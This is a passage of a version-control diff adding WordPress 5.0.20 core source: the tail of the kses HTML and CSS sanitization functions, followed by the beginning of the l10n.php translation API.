+ * @param string $allowed_protocols Allowed protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) {
+	$string  = preg_replace( '/(&#0*58(?![;0-9])|&#x0*3a(?![;a-f0-9]))/i', '$1;', $string );
+	$string2 = preg_split( '/:|&#0*58;|&#x0*3a;|&colon;/i', $string, 2 );
+	if ( isset( $string2[1] ) && ! preg_match( '%/\?%', $string2[0] ) ) {
+		$string   = trim( $string2[1] );
+		$protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols );
+		if ( 'feed:' == $protocol ) {
+			if ( $count > 2 )
+				return '';
+			$string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count );
+			if ( empty( $string ) )
+				return $string;
+		}
+		$string = $protocol . $string;
+	}
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_bad_protocol_once() regular expression.
+ *
+ * This function processes URL protocols, checks to see if they're in the
+ * whitelist or not, and returns different data depending on the answer.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param string $string            URI scheme to check against the whitelist
+ * @param string $allowed_protocols Allowed protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) {
+	$string2 = wp_kses_decode_entities($string);
+	$string2 = preg_replace('/\s/', '', $string2);
+	$string2 = wp_kses_no_null($string2);
+	$string2 = strtolower($string2);
+
+	$allowed = false;
+	foreach ( (array) $allowed_protocols as $one_protocol )
+		if ( strtolower($one_protocol) == $string2 ) {
+			$allowed = true;
+			break;
+		}
+
+	if ($allowed)
+		return "$string2:";
+	else
+		return '';
+}
+
+/**
+ * Converts and fixes HTML entities.
+ *
+ * This function normalizes HTML entities. It will convert `AT&T` to the correct
+ * `AT&amp;T`, `&#00058;` to `&#58;`, `&#XYZZY;` to `&amp;#XYZZY;` and so on.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to normalize entities
+ * @return string Content with normalized entities
+ */
+function wp_kses_normalize_entities($string) {
+	// Disarm all entities by converting & to &amp;
+	$string = str_replace('&', '&amp;', $string);
+
+	// Change back the allowed entities in our entity whitelist
+	$string = preg_replace_callback('/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $string);
+	$string = preg_replace_callback('/&amp;#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string);
+	$string = preg_replace_callback('/&amp;#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string);
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() regular expression.
+ *
+ * This function only accepts valid named entity references, which are finite,
+ * case-sensitive, and highly scrutinized by HTML and XML validators.
+ *
+ * @since 3.0.0
+ *
+ * @global array $allowedentitynames
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_named_entities($matches) {
+	global $allowedentitynames;
+
+	if ( empty($matches[1]) )
+		return '';
+
+	$i = $matches[1];
+	return ( ! in_array( $i, $allowedentitynames ) ) ? "&amp;$i;" : "&$i;";
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() regular expression.
+ *
+ * This function helps wp_kses_normalize_entities() to only accept 16-bit
+ * values and nothing more for `&#number;` entities.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities2($matches) {
+	if ( empty($matches[1]) )
+		return '';
+
+	$i = $matches[1];
+	if (valid_unicode($i)) {
+		$i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT);
+		$i = "&#$i;";
+	} else {
+		$i = "&amp;#$i;";
+	}
+
+	return $i;
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() for regular expression.
+ *
+ * This function helps wp_kses_normalize_entities() to only accept valid Unicode
+ * numeric entities in hex form.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities3($matches) {
+	if ( empty($matches[1]) )
+		return '';
+
+	$hexchars = $matches[1];
+	return ( ! valid_unicode( hexdec( $hexchars ) ) ) ? "&amp;#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';';
+}
+
+/**
+ * Helper function to determine if a Unicode value is valid.
+ *
+ * @since 2.7.0
+ *
+ * @param int $i Unicode value
+ * @return bool True if the value was a valid Unicode number
+ */
+function valid_unicode($i) {
+	return ( $i == 0x9 || $i == 0xa || $i == 0xd ||
+			($i >= 0x20 && $i <= 0xd7ff) ||
+			($i >= 0xe000 && $i <= 0xfffd) ||
+			($i >= 0x10000 && $i <= 0x10ffff) );
+}
+
+/**
+ * Convert all entities to their character counterparts.
+ *
+ * This function decodes numeric HTML entities (`&#65;` and `&#x41;`).
+ * It doesn't do anything with other entities like &auml;, but we don't
+ * need them in the URL protocol whitelisting system anyway.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to change entities
+ * @return string Content after decoded entities
+ */
+function wp_kses_decode_entities($string) {
+	$string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string);
+	$string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string);
+
+	return $string;
+}
+
+/**
+ * Regex callback for wp_kses_decode_entities()
+ *
+ * @since 2.9.0
+ *
+ * @param array $match preg match
+ * @return string
+ */
+function _wp_kses_decode_entities_chr( $match ) {
+	return chr( $match[1] );
+}
+
+/**
+ * Regex callback for wp_kses_decode_entities()
+ *
+ * @since 2.9.0
+ *
+ * @param array $match preg match
+ * @return string
+ */
+function _wp_kses_decode_entities_chr_hexdec( $match ) {
+	return chr( hexdec( $match[1] ) );
+}
+
+/**
+ * Sanitize content with allowed HTML Kses rules.
+ *
+ * @since 1.0.0
+ *
+ * @param string $data Content to filter, expected to be escaped with slashes
+ * @return string Filtered content
+ */
+function wp_filter_kses( $data ) {
+	return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
+}
+
+/**
+ * Sanitize content with allowed HTML Kses rules.
+ *
+ * @since 2.9.0
+ *
+ * @param string $data Content to filter, expected to not be escaped
+ * @return string Filtered content
+ */
+function wp_kses_data( $data ) {
+	return wp_kses( $data, current_filter() );
+}
+
+/**
+ * Sanitize content for allowed HTML tags for post content.
+ *
+ * Post content refers to the page contents of the 'post' type and not $_POST
+ * data from forms.
+ *
+ * @since 2.0.0
+ *
+ * @param string $data Post content to filter, expected to be escaped with slashes
+ * @return string Filtered post content with allowed HTML tags and attributes intact.
+ */
+function wp_filter_post_kses( $data ) {
+	return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
+}
+
+/**
+ * Sanitize content for allowed HTML tags for post content.
+ *
+ * Post content refers to the page contents of the 'post' type and not $_POST
+ * data from forms.
+ *
+ * @since 2.9.0
+ *
+ * @param string $data Post content to filter
+ * @return string Filtered post content with allowed HTML tags and attributes intact.
+ */
+function wp_kses_post( $data ) {
+	return wp_kses( $data, 'post' );
+}
+
+/**
+ * Navigates through an array, object, or scalar, and sanitizes content for
+ * allowed HTML tags for post content.
+ *
+ * @since 4.4.2
+ *
+ * @see map_deep()
+ *
+ * @param mixed $data The array, object, or scalar value to inspect.
+ * @return mixed The filtered content.
+ */
+function wp_kses_post_deep( $data ) {
+	return map_deep( $data, 'wp_kses_post' );
+}
+
+/**
+ * Strips all of the HTML in the content.
+ *
+ * @since 2.1.0
+ *
+ * @param string $data Content to strip all HTML from
+ * @return string Filtered content without any HTML
+ */
+function wp_filter_nohtml_kses( $data ) {
+	return addslashes( wp_kses( stripslashes( $data ), 'strip' ) );
+}
+
+/**
+ * Adds all Kses input form content filters.
+ *
+ * All hooks have default priority. The wp_filter_kses() function is added to
+ * the 'pre_comment_content' and 'title_save_pre' hooks.
+ *
+ * The wp_filter_post_kses() function is added to the 'content_save_pre',
+ * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
+ *
+ * @since 2.0.0
+ */
+function kses_init_filters() {
+	// Normal filtering
+	add_filter('title_save_pre', 'wp_filter_kses');
+
+	// Comment filtering
+	if ( current_user_can( 'unfiltered_html' ) )
+		add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+	else
+		add_filter( 'pre_comment_content', 'wp_filter_kses' );
+
+	// Post filtering
+	add_filter('content_save_pre', 'wp_filter_post_kses');
+	add_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Removes all Kses input form content filters.
+ *
+ * A quick procedural method to removing all of the filters that kses uses for
+ * content in WordPress Loop.
+ *
+ * Does not remove the kses_init() function from {@see 'init'} hook (priority is
+ * default). Also does not remove kses_init() function from {@see 'set_current_user'}
+ * hook (priority is also default).
+ *
+ * @since 2.0.6
+ */
+function kses_remove_filters() {
+	// Normal filtering
+	remove_filter('title_save_pre', 'wp_filter_kses');
+
+	// Comment filtering
+	remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+	remove_filter( 'pre_comment_content', 'wp_filter_kses' );
+
+	// Post filtering
+	remove_filter('content_save_pre', 'wp_filter_post_kses');
+	remove_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Sets up most of the Kses filters for input form content.
+ *
+ * If you remove the kses_init() function from {@see 'init'} hook and
+ * {@see 'set_current_user'} (priority is default), then none of the Kses filter hooks
+ * will be added.
+ *
+ * First removes all of the Kses filters in case the current user does not need
+ * to have Kses filter the content. If the user does not have unfiltered_html
+ * capability, then Kses filters are added.
+ *
+ * @since 2.0.0
+ */
+function kses_init() {
+	kses_remove_filters();
+
+	if ( ! current_user_can( 'unfiltered_html' ) ) {
+		kses_init_filters();
+	}
+}
+
+/**
+ * Inline CSS filter
+ *
+ * @since 2.8.1
+ *
+ * @param string $css        A string of CSS rules.
+ * @param string $deprecated Not used.
+ * @return string            Filtered string of CSS rules.
+ */
+function safecss_filter_attr( $css, $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented
+	}
+
+	$css = wp_kses_no_null( $css );
+	$css = str_replace( array( "\n", "\r", "\t" ), '', $css );
+
+	$allowed_protocols = wp_allowed_protocols();
+
+	$css_array = explode( ';', trim( $css ) );
+
+	/**
+	 * Filters list of allowed CSS attributes.
+	 *
+	 * @since 2.8.1
+	 * @since 4.4.0 Added support for `min-height`, `max-height`, `min-width`, and `max-width`.
+	 * @since 4.6.0 Added support for `list-style-type`.
+	 * @since 5.0.0 Added support for `background-image`.
+	 *
+	 * @param array $attr List of allowed CSS attributes.
+	 */
+	$allowed_attr = apply_filters( 'safe_style_css', array(
+		'background',
+		'background-color',
+		'background-image',
+
+		'border',
+		'border-width',
+		'border-color',
+		'border-style',
+		'border-right',
+		'border-right-color',
+		'border-right-style',
+		'border-right-width',
+		'border-bottom',
+		'border-bottom-color',
+		'border-bottom-style',
+		'border-bottom-width',
+		'border-left',
+		'border-left-color',
+		'border-left-style',
+		'border-left-width',
+		'border-top',
+		'border-top-color',
+		'border-top-style',
+		'border-top-width',
+
+		'border-spacing',
+		'border-collapse',
+		'caption-side',
+
+		'color',
+		'font',
+		'font-family',
+		'font-size',
+		'font-style',
+		'font-variant',
+		'font-weight',
+		'letter-spacing',
+		'line-height',
+		'text-decoration',
+		'text-indent',
+		'text-align',
+
+		'height',
+		'min-height',
+		'max-height',
+
+		'width',
+		'min-width',
+		'max-width',
+
+		'margin',
+		'margin-right',
+		'margin-bottom',
+		'margin-left',
+		'margin-top',
+
+		'padding',
+		'padding-right',
+		'padding-bottom',
+		'padding-left',
+		'padding-top',
+
+		'clear',
+		'cursor',
+		'direction',
+		'float',
+		'overflow',
+		'vertical-align',
+		'list-style-type',
+	) );
+
+
+	/*
+	 * CSS attributes that accept URL data types.
+	 *
+	 * This is in accordance to the CSS spec and unrelated to
+	 * the sub-set of supported attributes above.
+	 *
+	 * See: https://developer.mozilla.org/en-US/docs/Web/CSS/url
+	 */
+	$css_url_data_types = array(
+		'background',
+		'background-image',
+
+		'cursor',
+
+		'list-style',
+		'list-style-image',
+	);
+
+	if ( empty( $allowed_attr ) ) {
+		return $css;
+	}
+
+	$css = '';
+	foreach ( $css_array as $css_item ) {
+		if ( $css_item == '' ) {
+			continue;
+		}
+
+		$css_item        = trim( $css_item );
+		$css_test_string = $css_item;
+		$found           = false;
+		$url_attr        = false;
+
+		if ( strpos( $css_item, ':' ) === false ) {
+			$found = true;
+		} else {
+			$parts = explode( ':', $css_item, 2 );
+			$css_selector = trim( $parts[0] );
+
+			if ( in_array( $css_selector, $allowed_attr, true ) ) {
+				$found = true;
+				$url_attr = in_array( $css_selector, $css_url_data_types, true );
+			}
+		}
+
+		if ( $found && $url_attr ) {
+			// Simplified: matches the sequence `url(*)`.
+			preg_match_all( '/url\([^)]+\)/', $parts[1], $url_matches );
+
+			foreach ( $url_matches[0] as $url_match ) {
+				// Clean up the URL from each of the matches above.
+				preg_match( '/^url\(\s*([\'\"]?)(.*)(\g1)\s*\)$/', $url_match, $url_pieces );
+
+				if ( empty( $url_pieces[2] ) ) {
+					$found = false;
+					break;
+				}
+
+				$url = trim( $url_pieces[2] );
+
+				if ( empty( $url ) || $url !== wp_kses_bad_protocol( $url, $allowed_protocols ) ) {
+					$found = false;
+					break;
+				} else {
+					// Remove the whole `url(*)` bit that was matched above from the CSS.
+					$css_test_string = str_replace( $url_match, '', $css_test_string );
+				}
+			}
+		}
+
+		// Remove any CSS containing containing \ ( & } = or comments, except for url() useage checked above.
+		if ( $found && ! preg_match( '%[\\\(&=}]|/\*%', $css_test_string ) ) {
+			if ( $css != '' ) {
+				$css .= ';';
+			}
+
+			$css .= $css_item;
+		}
+	}
+
+	return $css;
+}
+
+/**
+ * Helper function to add global attributes to a tag in the allowed html list.
+ *
+ * @since 3.5.0
+ * @since 5.0.0 Add support for `data-*` wildcard attributes.
+ * @access private
+ *
+ * @param array $value An array of attributes.
+ * @return array The array of attributes with global attributes added.
+ */
+function _wp_add_global_attributes( $value ) {
+	$global_attributes = array(
+		'aria-describedby' => true,
+		'aria-details' => true,
+		'aria-label' => true,
+		'aria-labelledby' => true,
+		'aria-hidden' => true,
+		'class' => true,
+		'id' => true,
+		'style' => true,
+		'title' => true,
+		'role' => true,
+		'data-*' => true,
+	);
+
+	if ( true === $value )
+		$value = array();
+
+	if ( is_array( $value ) )
+		return array_merge( $value, $global_attributes );
+
+	return $value;
+}
Index: /tags/5.0.20/src/wp-includes/l10n.php
===================================================================
--- /tags/5.0.20/src/wp-includes/l10n.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/l10n.php	(revision 56912)
@@ -0,0 +1,1557 @@
+<?php
+/**
+ * Core Translation API
+ *
+ * @package WordPress
+ * @subpackage i18n
+ * @since 1.2.0
+ */
+
+/**
+ * Retrieves the current locale.
+ *
+ * If the locale is set, then it will filter the locale in the {@see 'locale'}
+ * filter hook and return the value.
+ *
+ * If the locale is not set already, then the WPLANG constant is used if it is
+ * defined. Then it is filtered through the {@see 'locale'} filter hook and
+ * the value for the locale global set and the locale is returned.
+ *
+ * The process to get the locale should only be done once, but the locale will
+ * always be filtered using the {@see 'locale'} hook.
+ *
+ * @since 1.5.0
+ *
+ * @global string $locale
+ * @global string $wp_local_package
+ *
+ * @return string The locale of the blog or from the {@see 'locale'} hook.
+ */
+function get_locale() {
+	global $locale, $wp_local_package;
+
+	if ( isset( $locale ) ) {
+		/**
+		 * Filters the locale ID of the WordPress installation.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $locale The locale ID.
+		 */
+		return apply_filters( 'locale', $locale );
+	}
+
+	if ( isset( $wp_local_package ) ) {
+		$locale = $wp_local_package;
+	}
+
+	// WPLANG was defined in wp-config.
+	if ( defined( 'WPLANG' ) ) {
+		$locale = WPLANG;
+	}
+
+	// If multisite, check options.
+	if ( is_multisite() ) {
+		// Don't check blog option when installing.
+		if ( wp_installing() || ( false === $ms_locale = get_option( 'WPLANG' ) ) ) {
+			$ms_locale = get_site_option( 'WPLANG' );
+		}
+
+		if ( $ms_locale !== false ) {
+			$locale = $ms_locale;
+		}
+	} else {
+		$db_locale = get_option( 'WPLANG' );
+		if ( $db_locale !== false ) {
+			$locale = $db_locale;
+		}
+	}
+
+	if ( empty( $locale ) ) {
+		$locale = 'en_US';
+	}
+
+	/** This filter is documented in wp-includes/l10n.php */
+	return apply_filters( 'locale', $locale );
+}
+
+/**
+ * Retrieves the locale of a user.
+ *
+ * If the user has a locale set to a non-empty string then it will be
+ * returned. Otherwise it returns the locale of get_locale().
+ *
+ * @since 4.7.0
+ *
+ * @param int|WP_User $user_id User's ID or a WP_User object. Defaults to current user.
+ * @return string The locale of the user.
+ */
+function get_user_locale( $user_id = 0 ) {
+	$user = false;
+	if ( 0 === $user_id && function_exists( 'wp_get_current_user' ) ) {
+		$user = wp_get_current_user();
+	} elseif ( $user_id instanceof WP_User ) {
+		$user = $user_id;
+	} elseif ( $user_id && is_numeric( $user_id ) ) {
+		$user = get_user_by( 'id', $user_id );
+	}
+
+	if ( ! $user ) {
+		return get_locale();
+	}
+
+	$locale = $user->locale;
+	return $locale ? $locale : get_locale();
+}
+
+/**
+ * Determine the current locale desired for the request.
+ *
+ * @since 5.0.0
+ *
+ * @global string $pagenow
+ *
+ * @return string The determined locale.
+ */
+function determine_locale() {
+	/**
+	 * Filters the locale for the current request prior to the default determination process.
+	 *
+	 * Using this filter allows to override the default logic, effectively short-circuiting the function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string|null The locale to return and short-circuit, or null as default.
+	 */
+	$determined_locale = apply_filters( 'pre_determine_locale', null );
+	if ( ! empty( $determined_locale ) && is_string( $determined_locale ) ) {
+		return $determined_locale;
+	}
+
+	$determined_locale = get_locale();
+
+	if ( is_admin() ) {
+		$determined_locale = get_user_locale();
+	}
+
+	if ( isset( $_GET['_locale'] ) && 'user' === $_GET['_locale'] && wp_is_json_request() ) {
+		$determined_locale = get_user_locale();
+	}
+
+	if ( ! empty( $_GET['wp_lang'] ) && ! empty( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) {
+		$determined_locale = sanitize_locale_name( wp_unslash( $_GET['wp_lang'] ) );
+	}
+
+	/**
+	 * Filters the locale for the current request.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $locale The locale.
+	 */
+	return apply_filters( 'determine_locale', $determined_locale );
+}
+
+/**
+ * Retrieve the translation of $text.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * *Note:* Don't use translate() directly, use __() or related functions.
+ *
+ * @since 2.2.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string Translated text
+ */
+function translate( $text, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translation  = $translations->translate( $text );
+
+	/**
+	 * Filters text with its translation.
+	 *
+	 * @since 2.0.11
+	 *
+	 * @param string $translation  Translated text.
+	 * @param string $text         Text to translate.
+	 * @param string $domain       Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'gettext', $translation, $text, $domain );
+}
+
+/**
+ * Remove last item on a pipe-delimited string.
+ *
+ * Meant for removing the last item in a string, such as 'Role name|User role'. The original
+ * string will be returned if no pipe '|' characters are found in the string.
+ *
+ * @since 2.8.0
+ *
+ * @param string $string A pipe-delimited string.
+ * @return string Either $string or everything before the last pipe.
+ */
+function before_last_bar( $string ) {
+	$last_bar = strrpos( $string, '|' );
+	if ( false === $last_bar ) {
+		return $string;
+	} else {
+		return substr( $string, 0, $last_bar );
+	}
+}
+
+/**
+ * Retrieve the translation of $text in the context defined in $context.
+ *
+ * If there is no translation, or the text domain isn't loaded the original
+ * text is returned.
+ *
+ * *Note:* Don't use translate_with_gettext_context() directly, use _x() or related functions.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string Translated text on success, original text on failure.
+ */
+function translate_with_gettext_context( $text, $context, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translation  = $translations->translate( $text, $context );
+	/**
+	 * Filters text with its translation based on context information.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $translation  Translated text.
+	 * @param string $text         Text to translate.
+	 * @param string $context      Context information for the translators.
+	 * @param string $domain       Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'gettext_with_context', $translation, $text, $context, $domain );
+}
+
+/**
+ * Retrieve the translation of $text.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * @since 2.1.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string Translated text.
+ */
+function __( $text, $domain = 'default' ) {
+	return translate( $text, $domain );
+}
+
+/**
+ * Retrieve the translation of $text and escapes it for safe use in an attribute.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string Translated text on success, original text on failure.
+ */
+function esc_attr__( $text, $domain = 'default' ) {
+	return esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieve the translation of $text and escapes it for safe use in HTML output.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text
+ * is escaped and returned..
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string Translated text
+ */
+function esc_html__( $text, $domain = 'default' ) {
+	return esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Display translated text.
+ *
+ * @since 1.2.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ */
+function _e( $text, $domain = 'default' ) {
+	echo translate( $text, $domain );
+}
+
+/**
+ * Display translated text that has been escaped for safe use in an attribute.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ */
+function esc_attr_e( $text, $domain = 'default' ) {
+	echo esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Display translated text that has been escaped for safe use in HTML output.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ */
+function esc_html_e( $text, $domain = 'default' ) {
+	echo esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieve translated string with gettext context.
+ *
+ * Quite a few times, there will be collisions with similar translatable text
+ * found in more than two places, but with different translated context.
+ *
+ * By including the context in the pot file, translators can translate the two
+ * strings differently.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string Translated context string without pipe.
+ */
+function _x( $text, $context, $domain = 'default' ) {
+	return translate_with_gettext_context( $text, $context, $domain );
+}
+
+/**
+ * Display translated string with gettext context.
+ *
+ * @since 3.0.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string Translated context string without pipe.
+ */
+function _ex( $text, $context, $domain = 'default' ) {
+	echo _x( $text, $context, $domain );
+}
+
+/**
+ * Translate string with gettext context, and escapes it for safe use in an attribute.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string Translated text
+ */
+function esc_attr_x( $text, $context, $domain = 'default' ) {
+	return esc_attr( translate_with_gettext_context( $text, $context, $domain ) );
+}
+
+/**
+ * Translate string with gettext context, and escapes it for safe use in HTML output.
+ *
+ * @since 2.9.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string Translated text.
+ */
+function esc_html_x( $text, $context, $domain = 'default' ) {
+	return esc_html( translate_with_gettext_context( $text, $context, $domain ) );
+}
+
+/**
+ * Translates and retrieves the singular or plural form based on the supplied number.
+ *
+ * Used when you want to use the appropriate form of a string based on whether a
+ * number is singular or plural.
+ *
+ * Example:
+ *
+ *     printf( _n( '%s person', '%s people', $count, 'text-domain' ), number_format_i18n( $count ) );
+ *
+ * @since 2.8.0
+ *
+ * @param string $single The text to be used if the number is singular.
+ * @param string $plural The text to be used if the number is plural.
+ * @param int    $number The number to compare against to use either the singular or plural form.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string The translated singular or plural form.
+ */
+function _n( $single, $plural, $number, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translation  = $translations->translate_plural( $single, $plural, $number );
+
+	/**
+	 * Filters the singular or plural form of a string.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $translation Translated text.
+	 * @param string $single      The text to be used if the number is singular.
+	 * @param string $plural      The text to be used if the number is plural.
+	 * @param string $number      The number to compare against to use either the singular or plural form.
+	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'ngettext', $translation, $single, $plural, $number, $domain );
+}
+
+/**
+ * Translates and retrieves the singular or plural form based on the supplied number, with gettext context.
+ *
+ * This is a hybrid of _n() and _x(). It supports context and plurals.
+ *
+ * Used when you want to use the appropriate form of a string with context based on whether a
+ * number is singular or plural.
+ *
+ * Example of a generic phrase which is disambiguated via the context parameter:
+ *
+ *     printf( _nx( '%s group', '%s groups', $people, 'group of people', 'text-domain' ), number_format_i18n( $people ) );
+ *     printf( _nx( '%s group', '%s groups', $animals, 'group of animals', 'text-domain' ), number_format_i18n( $animals ) );
+ *
+ * @since 2.8.0
+ *
+ * @param string $single  The text to be used if the number is singular.
+ * @param string $plural  The text to be used if the number is plural.
+ * @param int    $number  The number to compare against to use either the singular or plural form.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                        Default 'default'.
+ * @return string The translated singular or plural form.
+ */
+function _nx($single, $plural, $number, $context, $domain = 'default') {
+	$translations = get_translations_for_domain( $domain );
+	$translation  = $translations->translate_plural( $single, $plural, $number, $context );
+
+	/**
+	 * Filters the singular or plural form of a string with gettext context.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $translation Translated text.
+	 * @param string $single      The text to be used if the number is singular.
+	 * @param string $plural      The text to be used if the number is plural.
+	 * @param string $number      The number to compare against to use either the singular or plural form.
+	 * @param string $context     Context information for the translators.
+	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'ngettext_with_context', $translation, $single, $plural, $number, $context, $domain );
+}
+
+/**
+ * Registers plural strings in POT file, but does not translate them.
+ *
+ * Used when you want to keep structures with translatable plural
+ * strings and use them later when the number is known.
+ *
+ * Example:
+ *
+ *     $message = _n_noop( '%s post', '%s posts', 'text-domain' );
+ *     ...
+ *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
+ *
+ * @since 2.5.0
+ *
+ * @param string $singular Singular form to be localized.
+ * @param string $plural   Plural form to be localized.
+ * @param string $domain   Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                         Default null.
+ * @return array {
+ *     Array of translation information for the strings.
+ *
+ *     @type string $0        Singular form to be localized. No longer used.
+ *     @type string $1        Plural form to be localized. No longer used.
+ *     @type string $singular Singular form to be localized.
+ *     @type string $plural   Plural form to be localized.
+ *     @type null   $context  Context information for the translators.
+ *     @type string $domain   Text domain.
+ * }
+ */
+function _n_noop( $singular, $plural, $domain = null ) {
+	return array( 0 => $singular, 1 => $plural, 'singular' => $singular, 'plural' => $plural, 'context' => null, 'domain' => $domain );
+}
+
+/**
+ * Registers plural strings with gettext context in POT file, but does not translate them.
+ *
+ * Used when you want to keep structures with translatable plural
+ * strings and use them later when the number is known.
+ *
+ * Example of a generic phrase which is disambiguated via the context parameter:
+ *
+ *     $messages = array(
+ *      	'people'  => _nx_noop( '%s group', '%s groups', 'people', 'text-domain' ),
+ *      	'animals' => _nx_noop( '%s group', '%s groups', 'animals', 'text-domain' ),
+ *     );
+ *     ...
+ *     $message = $messages[ $type ];
+ *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
+ *
+ * @since 2.8.0
+ *
+ * @param string $singular Singular form to be localized.
+ * @param string $plural   Plural form to be localized.
+ * @param string $context  Context information for the translators.
+ * @param string $domain   Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                         Default null.
+ * @return array {
+ *     Array of translation information for the strings.
+ *
+ *     @type string $0        Singular form to be localized. No longer used.
+ *     @type string $1        Plural form to be localized. No longer used.
+ *     @type string $2        Context information for the translators. No longer used.
+ *     @type string $singular Singular form to be localized.
+ *     @type string $plural   Plural form to be localized.
+ *     @type string $context  Context information for the translators.
+ *     @type string $domain   Text domain.
+ * }
+ */
